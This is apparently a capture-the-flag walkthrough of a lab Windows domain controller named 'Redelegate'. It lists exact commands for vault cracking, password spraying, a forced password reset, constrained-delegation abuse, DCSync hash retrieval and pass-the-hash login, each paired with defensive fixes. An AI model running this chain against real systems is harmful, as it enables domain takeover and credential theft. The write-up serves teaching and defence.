← all walkthroughs

Redelegate

Windows· Hard
owned
2026-10-14
time to own
14m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Windows Server 2022 domain controller for redelegate.vl that allowed anonymous FTP access. The share held a password-manager vault and a training note hinting at a seasonal password pattern. The vault's master password was cracked offline, revealing a local SQL Server login.

That login was used to enumerate domain accounts, and a seasonal password spray against them produced a valid domain user. This user held a delegated right to reset another user's password, giving a WinRM shell as that account. That account held SeEnableDelegationPrivilege and full control over a computer object, which was abused to configure constrained delegation, impersonate the domain controller, and retrieve the Administrator account's password hash.

Using that hash to authenticate gave full domain control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export CHOSEN_PASSWORD="<a-password-you-choose>"

Some commands also carry a value in angle brackets (<entry>, <nt-hash>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1ReconnaissanceNetwork service discovery; anonymous FTP access (T1078.001)
Scanned the domain controller and found anonymous FTP
A port sweep identified a Windows Server 2022 domain controller (dc.redelegate.vl) exposing FTP, DNS, Kerberos, LDAP, SMB, MSSQL, RDP and WinRM. The FTP service allowed anonymous login, which exposed files to anyone on the network.
Ftp-anon: Anonymous FTP login allowed on 21/tcp (Microsoft ftpd); domain redelegate.vl identified.
Exact commands 3
shell

Add the DC to local name resolution (FQDN before bare domain).

$ echo "$TARGET dc.redelegate.vl redelegate.vl dc" | sudo tee -a /etc/hosts
shell

Full port scan; shows ftp-anon and the AD service set.

$ nmap -sC -sV -p- --min-rate 2000 $TARGET
shell

Sync the clock to the DC to avoid Kerberos skew errors later.

$ sudo ntpdate dc.redelegate.vl
FixDisable anonymous FTP accessHigh
WeaknessThe FTP service on the domain controller accepted anonymous logins and allowed unauthenticated browsing and download of its contents.
FixDisable the anonymous/guest account on the FTP service, require authentication for all FTP sessions, and move the FTP service off the domain controller entirely: DCs should not run file-transfer services with open access.
2Initial AccessCredential exposure via anonymous FTP; offline password recovery against an exported vault hash (T1555.005, T1110.002)
Downloaded a password-manager vault and recovered its master password
Anonymous FTP exposed a KeePass database (Shared.kdbx) alongside a training note that used a 'SeasonYear!' style password as a bad-practice example. A short candidate list built from that pattern was tried offline against the vault and recovered its master password. The vault contained a local SQL Server login.
Shared.kdbx, CyberAudit.txt and TrainingAgenda.txt retrieved via anonymous FTP; vault opened with the recovered master password; SQLGuest login recorded.
Exact commands 3
shell

Log in as 'anonymous' with any password, then: binary; mget *

$ ftp $TARGET
shell

pass.txt = candidate passwords matching the 'SeasonYear!' pattern from TrainingAgenda.txt.

$ keepass2john Shared.kdbx > Shared.kdbx.hash && john --wordlist=pass.txt Shared.kdbx.hash
shell

Enter the recovered master password when prompted; read each stored entry, including the SQLGuest login.

$ keepassxc-cli show -s Shared.kdbx <entry>
FixStop storing shared credential vaults on accessible file shares and enforce stronger master passwordsHigh
WeaknessA KeePass database containing a usable credential was placed on a file share reachable by anonymous FTP, and its master password followed a predictable, guessable pattern that was also hinted at in an adjacent training document.
FixRemove shared credential vaults from any network share; store secrets in a managed vault (e.g. a password manager with MFA, or a secrets manager) with access control and audit logging. Require long, random master passwords and never document example passwords that match real account naming patterns.
3Credential AccessMSSQL domain account enumeration via SID resolution; password spraying (T1087.002, T1110.003)
Enumerated domain accounts via SQL Server and sprayed the same password pattern
The SQLGuest login only worked locally against SQL Server, but it was enough to resolve domain account names from the server. Trying the same seasonal password pattern against those names over SMB produced one valid domain account, Marie.Curie.
Local MSSQL auth succeeded for SQLGuest; domain usernames resolved via SID brute-force; SMB auth succeeded for Marie.Curie.
Exact commands 3
shell

Confirm the local SQL login works.

$ nxc mssql $TARGET -u SQLGuest -p '<SQLGuest password from vault>' --local-auth
shell

Resolve REDELEGATE\<user> names via SQL Server SID lookups; save them to users.txt.

$ msfconsole -q -x "use auxiliary/admin/mssql/mssql_enum_domain_accounts; set USERNAME SQLGuest; set PASSWORD <SQLGuest password>; set RHOSTS $TARGET; set RPORT 1433; set FUZZNUM 9999; run"
shell

Try the same seasonal pattern against the resolved usernames over SMB; one account matches.

$ nxc smb redelegate.vl -u users.txt -p pass.txt --continue-on-success
FixRestrict SQL Server account enumeration and eliminate weak/shared passwordsHigh
WeaknessA low-privilege local SQL Server account could be used to enumerate domain account names via SID brute-forcing, and one of those accounts used the same predictable seasonal password pattern recovered from the KeePass vault.
FixRemove unnecessary local SQL logins, restrict SID-lookup permissions, and enforce a password policy that blocks seasonal/dictionary patterns (e.g. length + complexity + breach-list screening via Azure AD Password Protection or similar) backed by account lockout and spray-detection alerting.
4Lateral MovementAbuse of a delegated ForceChangePassword ACE over Kerberos; WinRM logon (T1098, T1021.006)
Used a help-desk delegation right to take over a second account
Mapping the domain's permissions showed Marie.Curie belonged to a HelpDesk group with the right to force-change the password of Helen.Frost, who in turn was allowed to open a PowerShell Remoting (WinRM) session on the domain controller. Using a Kerberos ticket for Marie.Curie, that reset right was used to set a new password for Helen.Frost, then logged in over WinRM as that account to read user.txt.
redelegate.vl\HELEN.FROST authenticated over WinRM (Pwn3d!) and read C:\Users\Helen.Frost\Desktop\user.txt.
Exact commands 6
shell

Map group memberships and ACEs; shows HelpDesk -> ForceChangePassword on Helen.Frost, and Helen.Frost -> CanPSRemote on the DC.

$ bloodhound-python -u marie.curie -p '<Marie.Curie password>' -d redelegate.vl -dc dc.redelegate.vl --zip -c All -ns $TARGET
shell

Get a Kerberos ticket for Marie.Curie.

$ impacket-getTGT redelegate.vl/marie.curie:'<Marie.Curie password>'
shell

Point Kerberos tooling at that ticket.

$ export KRB5CCNAME=marie.curie.ccache
shell

Use the ForceChangePassword right to reset Helen.Frost's password.

$ bloodyAD -d redelegate.vl -k --host dc.redelegate.vl set password HELEN.FROST "$CHOSEN_PASSWORD"
shell

Log in as Helen.Frost; run whoami and klist to confirm context before reading the flag.

$ evil-winrm -i dc.redelegate.vl -u HELEN.FROST -p "$CHOSEN_PASSWORD"
shell

Read the user flag; actual -> <user.txt>

$ type C:\Users\Helen.Frost\Desktop\user.txt
FixRestrict help-desk ForceChangePassword delegation and tier remote-management rightsHigh
WeaknessA low-privilege help-desk group had an Active Directory ACE allowing it to force-change the password of another user who was separately permitted to establish interactive PowerShell Remoting sessions on the domain controller, letting a minor compromise escalate directly into a DC login.
FixReview and minimize ForceChangePassword/GenericWrite delegations granted to help-desk groups; never allow help-desk-managed accounts to also hold CanPSRemote/remote-logon rights on domain controllers. Apply tiered administration (Microsoft's AD tier model) to separate workstation-support rights from DC access.
5Privilege EscalationConstrained delegation abuse with protocol transition (S4U2Self/S4U2Proxy) following GenericAll on a computer object (T1558.003, T1134)
Abused delegation rights on a computer account to obtain a Kerberos ticket as the domain controller
Helen.Frost held the SeEnableDelegationPrivilege right and, through group membership, full control over a computer object (FS01$). That control was used to configure FS01$ for constrained delegation to the domain controller's file-sharing service, then to request a service ticket impersonating the domain controller's own computer account through that delegation path.
Whoami /priv on the Helen.Frost session showed SeEnableDelegationPrivilege Enabled; BloodHound showed Helen.Frost's IT group with GenericAll on FS01$.
Exact commands 5
shell

Get a ticket for Helen.Frost; export KRB5CCNAME=HELEN.FROST.ccache

$ impacket-getTGT redelegate.vl/HELEN.FROST:'<Helen.Frost password>'
shell

Use GenericAll on the computer object to set a known password for it.

$ bloodyAD -d redelegate.vl -k --host dc.redelegate.vl set password FS01\$ "$CHOSEN_PASSWORD"
shell

Enable protocol transition on FS01$.

$ bloodyAD -d redelegate.vl -k --host dc.redelegate.vl add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
shell

Configure constrained delegation from FS01$ to the DC's file service.

$ bloodyAD -d redelegate.vl -k --host dc.redelegate.vl set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
shell

S4U2Self + S4U2Proxy: obtain a service ticket as FS01$ impersonating the DC's own computer account; produces dc.ccache.

$ impacket-getST -spn cifs/dc.redelegate.vl -impersonate dc "redelegate.vl/fs01\$:$CHOSEN_PASSWORD"
FixRemove unnecessary delegation privileges and GenericAll rights on computer objectsCritical
WeaknessA non-administrative user held the SeEnableDelegationPrivilege right and, through group membership, full control (GenericAll) over a domain-joined computer object, allowing that user to configure constrained delegation and obtain a service ticket impersonating the domain controller's own account.
FixRestrict SeEnableDelegationPrivilege to Tier-0 administrators only; audit and remove GenericAll/GenericWrite ACEs held by non-admin users or groups over computer objects; monitor and alert on changes to msDS-AllowedToDelegateTo and userAccountControl delegation flags.
6Domain CompromiseDirectory replication credential retrieval (DCSync); pass-the-hash authentication (T1003.006, T1550.002)
Retrieved the domain Administrator's credential and logged in as full admin
The ticket obtained while impersonating the domain controller's computer account carried enough replication-equivalent rights to request the Administrator account's password hash directly from the domain's directory service. That hash was then used to log in as Administrator over WinRM without needing the plaintext password, and read root.txt.
Export KRB5CCNAME=dc.ccache; secretsdump retrieved the Administrator NT hash; WinRM authenticated with that hash (Pwn3d!) and read C:\Users\Administrator\Desktop\root.txt.
Exact commands 4
shell

Point Kerberos tooling at the impersonated DC ticket.

$ export KRB5CCNAME=dc.ccache
shell

Request just the Administrator account's secrets via replication; returns the NT hash.

$ impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user Administrator
shell

Pass-the-hash login as domain Administrator.

$ evil-winrm -i $TARGET -u Administrator -H <nt-hash>
shell

Read the root flag; actual -> <root.txt>

$ type C:\Users\Administrator\Desktop\root.txt
FixRestrict directory replication rights and monitor for DCSync-style requestsCritical
WeaknessA non-Tier-0 identity chain was able to obtain replication-equivalent access and pull the domain Administrator account's password hash directly from the directory service, then reuse that hash to authenticate as full domain admin.
FixAudit and restrict accounts/groups holding Replicating Directory Changes / Replicating Directory Changes All rights to the built-in Domain Controllers and a minimal Tier-0 admin set; enable auditing for directory replication requests (Event ID 4662 with the relevant GUIDs) and alert on them from non-DC sources; disable NTLM pass-the-hash acceptance for privileged accounts where feasible (e.g. Protected Users group, Credential Guard).

Attack patterns used

The transferable techniques behind this compromise.

DCSyncActive Directory · Credential AccessT1003.006

What it is

DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account, including krbtgt, without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.

Why it works

Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.

Read more

Exposed services

21/tcp
53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3389/tcp
5985/tcp
9389/tcp
47001/tcp
49295/tcp
49298/tcp
49299/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49669/tcp
60438/tcp
60451/tcp
60453/tcp
60456/tcp
53/udp
123/udp